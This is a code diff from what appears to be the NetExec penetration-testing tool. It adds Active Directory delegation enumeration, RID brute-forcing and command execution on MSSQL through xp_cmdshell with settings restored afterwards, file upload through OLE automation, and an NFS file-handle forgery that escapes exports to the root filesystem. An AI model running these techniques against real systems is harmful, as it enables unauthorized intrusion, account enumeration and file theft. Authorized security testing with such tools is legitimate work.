objectType = item.get("objectCategory")
# Filter out DCs, unconstrained delegation to DCs is not a useful information
if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT:
delegation = "Unconstrained"
rightsTo.append("N/A")
elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
delegation = "Constrained w/ Protocol Transition"
protocolTransition = 1
if item.get("msDS-AllowedToDelegateTo") is not None:
if protocolTransition == 0:
delegation = "Constrained"
rightsTo = item.get("msDS-AllowedToDelegateTo")
# Not an elif as an object could both have RBCD and another type of delegation
if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None:
databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity")
rbcdRights = []
rbcdObjType = []
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte))
if len(sd["Dacl"].aces) > 0:
search_filter = "(&(|"
for ace in sd["Dacl"].aces:
search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")"
search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))"
delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"])
delegUserResp_parse = parse_result_attributes(delegUserResp)
for rbcd in delegUserResp_parse:
rbcdRights.append(str(rbcd.get("sAMAccountName")))
rbcdObjType.append(str(rbcd.get("objectCategory")))
for rights, objType in zip(rbcdRights, rbcdObjType, strict=True):
answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName])
if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]:
answers.append([sAMAccountName, objectType, delegation, rightsTo])
except Exception as e:
self.logger.error(f"Skipping item, cannot process due to error {e}")
if answers:
printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"])
else:
self.logger.fail("No entries found!")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1147,7 +1139,8 @@ class ldap(connection):
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)"
try:
self.logger.debug(f"Search Filter={searchFilter}")
resp = self.ldapConnection.search(
resp = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=searchFilter,
attributes=[
"sAMAccountName",
@@ -1274,7 +1267,8 @@ class ldap(connection):
def gmsa(self):
self.logger.display("Getting GMSA Passwords")
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=[
"sAMAccountName",
@@ -1282,7 +1276,6 @@ class ldap(connection):
"msDS-GroupMSAMembership",
],
sizeLimit=0,
searchBase=self.baseDN,
)
if gmsa_accounts:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
@@ -1327,11 +1320,11 @@ class ldap(connection):
else:
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
searchBase=self.baseDN,
)
if gmsa_accounts:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
@@ -1357,11 +1350,11 @@ class ldap(connection):
gmsa_pass = gmsa[1]
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
searchBase=self.baseDN,
)
if gmsa_accounts:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
+3 -2
View File
@@ -5,7 +5,6 @@ def proto_args(parser, parents):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
dgroup = ldap_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
@@ -15,8 +14,10 @@ def proto_args(parser, parents):
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
+44 -1
View File
@@ -15,6 +15,7 @@ from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.dcerpc.v5.dtypes import SID
from impacket.tds import (
SQLErrorException,
TDS_LOGINACK_TOKEN,
@@ -141,7 +142,6 @@ class mssql(connection):
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@reconnect_mssql
def kerberos_login(
@@ -417,3 +417,46 @@ class mssql(connection):
else:
_type = f"{key['Type']:d}"
return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"
def rid_brute(self, max_rid=None):
entries = []
if not max_rid:
max_rid = int(self.args.rid_brute)
try:
# Query domain
domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""]
# Query known group to determine raw SID & convert to canon
raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""]
domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4]
except Exception as e:
self.logger.fail(f"Error parsing SID. Not domain joined?: {e}")
so_far = 0
simultaneous = 1000
for _j in range(max_rid // simultaneous + 1):
sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous
if sids_to_check == 0:
break
# Batch query multiple sids at a time
sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)]
raw_output = self.conn.sql_query(";".join(sid_queries))
for n, item in enumerate(raw_output):
username = item[""]
if username == "NULL":
continue
rid = so_far + n
self.logger.highlight(f"{rid}: {username}")
entries.append(
{
"rid": rid,
"domain": domain,
"username": username.split("\\")[1],
}
)
so_far += simultaneous
return entries
+1 -1
View File
@@ -189,7 +189,7 @@ class database(BaseDB):
nxc_logger.debug(f"Hosts: {hosts}")
if users is not None and hosts is not None:
for user, host in zip(users, hosts):
for user, host in zip(users, hosts, strict=True):
user_id = user[0]
host_id = host[0]
link = {"userid": user_id, "hostid": host_id}
+46 -29
View File
@@ -6,13 +6,15 @@ class MSSQLEXEC:
self.mssql_conn = connection
self.logger = logger
# Store the original state of options that have to be enabled/disabled in order to restore them later
self.backuped_options = {}
def execute(self, command):
result = None
try:
self.logger.debug("Attempting to enable xp cmd shell")
self.enable_xp_cmdshell()
except Exception as e:
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
self.backup_and_enable("advanced options")
self.backup_and_enable("xp_cmdshell")
try:
cmd = f"exec master..xp_cmdshell '{command}'"
self.logger.debug(f"Attempting to execute query: {cmd}")
@@ -27,42 +29,57 @@ class MSSQLEXEC:
except Exception as e:
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
try:
self.logger.debug("Attempting to disable xp cmd shell")
self.disable_xp_cmdshell()
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
self.restore("xp_cmdshell")
self.restore("advanced options")
return result
def enable_xp_cmdshell(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def restore(self, option):
try:
if not self.backuped_options[option]:
self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.")
query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.")
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}")
def disable_xp_cmdshell(self):
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def backup_and_enable(self, option):
try:
self.backuped_options[option] = self.is_option_enabled(option)
if not self.backuped_options[option]:
self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.")
query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.logger.debug(f"Option '{option}' is already enabled.")
except Exception as e:
self.logger.error(f"Error when checking/enabling option '{option}': {e}")
def enable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def disable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def is_option_enabled(self, option):
query = f"EXEC master.dbo.sp_configure '{option}';"
self.logger.debug(f"Checking if {option} is enabled: {query}")
result = self.mssql_conn.sql_query(query)
# Assuming the query returns a list of dictionaries with 'config_value' as the key
self.logger.debug(f"{option} check result: {result}")
if result and result[0]["config_value"] == 1:
return True
return False
def put_file(self, data, remote):
try:
self.enable_ole()
self.backup_and_enable("advanced options")
self.backup_and_enable("Ole Automation Procedures")
hexdata = data.hex()
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.disable_ole()
self.restore("Ole Automation Procedures")
self.restore("advanced options")
except Exception as e:
self.logger.debug(f"Error uploading via mssqlexec: {e}")
+2
View File
@@ -29,4 +29,6 @@ def proto_args(parser, parents):
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
return parser
+381 -39
View File
@@ -1,13 +1,75 @@
from termcolor import colored
from nxc.connection import connection
from nxc.logger import NXCAdapter
from nxc.helpers.logger import highlight
from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3
from nxc.config import host_info_colors
from pyNfsClient import (
Portmap,
Mount,
NFSv3,
)
from pyNfsClient.const import (
NFS_PROGRAM,
NFS_V3,
ACCESS3_READ,
ACCESS3_MODIFY,
ACCESS3_EXECUTE,
NFSSTAT3,
NFS3ERR_NOENT,
NF3REG,
)
import re
import uuid
import math
import os
class FileID:
root = "root"
ext = "ext/xfs"
btrfs = "btrfs"
udf = "udf"
nilfs = "nilfs"
fat = "fat"
lustre = "lustre"
kernfs = "kernfs"
invalid = "invalid"
unknown = "unknown"
# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
fileid_types = {
0: FileID.root,
1: FileID.ext,
2: FileID.ext,
0x81: FileID.ext,
0x4d: FileID.btrfs,
0x4e: FileID.btrfs,
0x4f: FileID.btrfs,
0x51: FileID.udf,
0x52: FileID.udf,
0x61: FileID.nilfs,
0x62: FileID.nilfs,
0x71: FileID.fat,
0x72: FileID.fat,
0x97: FileID.lustre,
0xfe: FileID.kernfs,
0xff: FileID.invalid
}
# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45
fsid_lens = {
0: 8,
1: 4,
2: 12,
3: 8,
4: 8,
5: 8,
6: 16,
7: 24,
}
class nfs(connection):
def __init__(self, args, db, host):
self.protocol = "nfs"
@@ -22,6 +84,10 @@ class nfs(connection):
"gid": 0,
"aux_gid": [],
}
self.root_escape = False
# If root escape is possible, the escape_share and escape_fh will be populated
self.escape_share = None
self.escape_fh = b""
connection.__init__(self, args, db, host)
def proto_logger(self):
@@ -50,7 +116,7 @@ class nfs(connection):
self.port = self.mnt_port
self.proto_logger()
except Exception as e:
self.logger.fail(f"Error during Initialization: {e}")
self.logger.info(f"Error during Initialization: {e}")
return False
return True
@@ -63,13 +129,20 @@ class nfs(connection):
for program in programs:
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
return self.nfs_versions
except Exception as e:
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Check if root escape is possible
self.root_escape = self.try_root_escape()
self.nfs3.disconnect()
def print_host_info(self):
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
return True
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
def disconnect(self):
"""Disconnect mount and portmap if they are connected"""
@@ -168,9 +241,13 @@ class nfs(connection):
# Mount shares and check permissions
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
for share, network in zip(shares, networks):
for share, network in zip(shares, networks, strict=True):
try:
mnt_info = self.mount.mnt(share, self.auth)
self.logger.debug(f"Mounted {share} - {mnt_info}")
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}")
continue
file_handle = mnt_info["mountinfo"]["fhandle"]
info = self.nfs3.fsstat(file_handle, self.auth)
@@ -222,10 +299,16 @@ class nfs(connection):
networks = self.export_info(self.mount.export())
self.logger.display("Enumerating NFS Shares Directories")
for share, network in zip(shares, networks):
for share, network in zip(shares, networks, strict=True):
try:
mount_info = self.mount.mnt(share, self.auth)
contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares)
self.logger.debug(f"Mounted {share} - {mount_info}")
if mount_info["status"] != 0:
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}")
continue
fhandle = mount_info["mountinfo"]["fhandle"]
contents = self.list_dir(fhandle, share, self.args.enum_shares)
self.logger.success(share)
if contents:
@@ -265,17 +348,38 @@ class nfs(connection):
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share
mnt_info = self.mount.mnt(remote_dir_path, self.auth)
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Update the UID for the file
attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Iterate over the path until we hit the file
curr_fh = mount_fh
for sub_path in remote_file_path.lstrip("/").split("/"):
# Update the UID for the next object and get the handle
self.update_auth(mount_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
# Get the file handle and file size
dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
file_handle = dir_data["resok"]["object"]["data"]
# Check for a bad path
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Unknown path: {remote_file_path!r}")
return
curr_fh = res["resok"]["object"]["data"]
# If response is file then break
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
break
# Update the UID and GID for the file
self.update_auth(curr_fh)
# Handle files over the default chunk size of 1024 * 1024
offset = 0
@@ -284,7 +388,7 @@ class nfs(connection):
# Loop until we have read the entire file
with open(local_file_path, "wb+") as local_file:
while not eof:
file_data = self.nfs3.read(file_handle, offset, auth=self.auth)
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
if "resfail" in file_data:
raise Exception("Insufficient Permissions")
@@ -299,7 +403,7 @@ class nfs(connection):
# Write the file data to the local file
local_file.write(data)
self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}")
self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}")
# Unmount the share
self.mount.umnt(self.auth)
@@ -312,18 +416,13 @@ class nfs(connection):
"""Uploads a file to the NFS share"""
local_file_path = self.args.put_file[0]
remote_file_path = self.args.put_file[1]
file_name = ""
remote_dir_path, file_name = os.path.split(remote_file_path)
# Check if local file is exist
if not os.path.isfile(local_file_path):
self.logger.fail(f"{local_file_path} does not exist.")
return
# Do a bit of smart handling for the file paths
file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path
if not remote_file_path.endswith("/"):
remote_file_path += "/"
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
try:
# Connect to NFS
@@ -331,26 +430,55 @@ class nfs(connection):
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share to create the file
mnt_info = self.mount.mnt(remote_file_path, self.auth)
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Update the UID from the directory
attrs = self.nfs3.getattr(dir_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
# Iterate over the path
curr_fh = mount_fh
# If target dir is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))):
self.update_auth(mount_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
# If the path does not exist, create it
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.display(f"Creating directory '/{sub_path}/'")
res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth)
if res["status"] != 0:
self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}")
return
else:
curr_fh = res["resok"]["obj"]["handle"]["data"]
continue
curr_fh = res["resok"]["object"]["data"]
# Update the UID and GID from the directory
self.update_auth(curr_fh)
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
if lookup_response["resok"] is None:
# Create file
self.logger.display(f"Trying to create {remote_file_path}{file_name}")
res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth)
res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth)
if res["status"] != 0:
raise Exception(NFSSTAT3[res["status"]])
else:
file_handle = res["resok"]["obj"]["handle"]["data"]
self.update_auth(file_handle)
self.logger.success(f"{file_name} successfully created")
else:
# Asking the user if they want to overwrite the file
@@ -358,18 +486,22 @@ class nfs(connection):
if ans.lower() in ["y", "yes", ""]:
self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...")
file_handle = lookup_response["resok"]["object"]["data"]
else:
self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}")
return
# Update the UID and GID for the file
self.update_auth(file_handle)
try:
with open(local_file_path, "rb") as file:
file_data = file.read().decode()
# Write the data to the remote file
self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}")
self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}")
self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}")
res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
if res["status"] != 0:
self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}")
return
else:
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777")
except Exception as e:
self.logger.fail(f"Could not write to {local_file_path}: {e}")
@@ -380,6 +512,216 @@ class nfs(connection):
else:
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
def get_root_handles(self, mount_fh):
"""
Get possible root handles to escape to the root filesystem
Sources:
https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62
https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py
Usually:
- 1 byte: 0x01 fb_version
- 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel
- 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved
- 1 byte: 0xXX fb_fileid_type -> determines the filesystem type
"""
# First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3])
# See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth))
filesystem = FileID.unknown
for entry in dir_data:
# Check if "." is already the root directory
if entry["name"] == b".":
if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]:
self.logger.debug("Exported share is already the root directory")
return [entry["name_handle"]["handle"]["data"]]
elif entry["name"] == b"..":
continue
else:
try:
fid_type = entry["name_handle"]["handle"]["data"][3]
if fid_type in fileid_types:
filesystem = fileid_types[fid_type]
self.logger.debug(f"Found filesystem type: {filesystem}")
break
except Exception as e:
self.logger.debug(f"Error on getting filesystem type: {e}")
continue
self.logger.debug(f"Filesystem type: {filesystem}")
# Generate the root handle depending on the filesystem type and preserve the file_id (respect the length)
fh_fsid_type = mount_fh[2]
fh_fsid_len = fsid_lens[fh_fsid_type]
root_handles = []
# Generate possible root handles
# General syntax: 4 byte header + fsid + fileid
# Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
fh = bytearray(mount_fh)
if filesystem in [FileID.ext, FileID.unknown]:
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226
if filesystem in [FileID.btrfs, FileID.unknown]:
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
for i in range(16):
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226
return root_handles
def try_root_escape(self) -> bool:
"""
With an established connection look for a share that can be escaped to the root filesystem.
If successfull, self.escape_share and self.escape_fh will be populated.
Returns
-------
bool: True if root escape was successful
"""
if not self.nfs3:
raise Exception("NFS connection is not established")
output_export = str(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
shares = list(reg.findall(output_export))
self.logger.debug(f"Trying root escape on shares: {shares}")
for share in shares:
mount_info = self.mount.mnt(share, self.auth)
if mount_info["status"] != 0:
self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}")
self.mount.umnt(self.auth)
continue
mount_fh = mount_info["mountinfo"]["fhandle"]
try:
possible_root_fhs = self.get_root_handles(mount_fh)
for fh in possible_root_fhs:
if "resfail" not in self.nfs3.readdir(fh, auth=self.auth):
self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}")
self.escape_share = share
self.escape_fh = fh
self.mount.umnt(self.auth)
return True
except Exception as e:
self.logger.debug(f"Error trying root escape on share '{share}': {e}")
self.mount.umnt(self.auth)
return False
def ls(self):
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Remove leading or trailing slashes
self.args.ls = self.args.ls.lstrip("/").rstrip("/")
# NORMAL LS CALL (without root escape)
if self.args.share:
mount_info = self.mount.mnt(self.args.share, self.auth)
mount_fh = mount_info["mountinfo"]["fhandle"]
elif self.root_escape:
# Interestingly we don't actually have to mount the share if we already got the handle
self.logger.success(f"Successful escape on share: {self.escape_share}")
mount_fh = self.escape_fh
else:
self.logger.fail("No root escape possible, please specify a share")
return
# Update UID and GID for the share
self.update_auth(mount_fh)
# We got a path to look up
curr_fh = mount_fh
is_file = False # If the last path is a file
# If ls is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, self.args.ls.split("/"))):
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Unknown path: {self.args.ls!r}")
return
# If file then break and only display file
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
is_file = True
break
curr_fh = res["resok"]["object"]["data"]
# Update the UID and GID for the file/dir
self.update_auth(curr_fh)
dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth)
if dir_listing["status"] != 0:
self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}")
return
content = self.format_directory(dir_listing)
# Sometimes the NFS Server does not return the attributes for the files
# However, they can still be looked up individually is missing
for item in content:
if not item["name_attributes"]["present"]:
try:
res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth)
item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"]
item["name_attributes"]["present"] = True
item["name_handle"]["handle"] = res["resok"]["object"]
item["name_handle"]["present"] = True
except Exception as e:
self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}")
# If the requested path is a file, we filter out all other files
path = f"{self.args.share if self.args.share else ''}/{self.args.ls}"
if is_file:
content = [x for x in content if x["name"].decode() == sub_path]
path = path.rsplit("/", 1)[0] # Remove the file from the path
self.print_directory(content, path)
def print_directory(self, content, path):
"""
Highlight log the content of the directory provided by a READDIRPLUS call.
Expects an FORMATED output of self.format_directory.
"""
self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}")
self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}")
for item in content:
if not item["name_attributes"]["present"] or not item["name_handle"]["present"]:
uid = "-"
perms = "----"
file_size = "-"
else:
uid = item["name_attributes"]["attributes"]["uid"]
is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-"
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
def format_directory(self, raw_directory):
"""Convert the chained directory entries to a list of the entries"""
if "resfail" in raw_directory:
self.logger.debug("Insufficient Permissions, NFS returned 'resfail'")
return {}
items = []
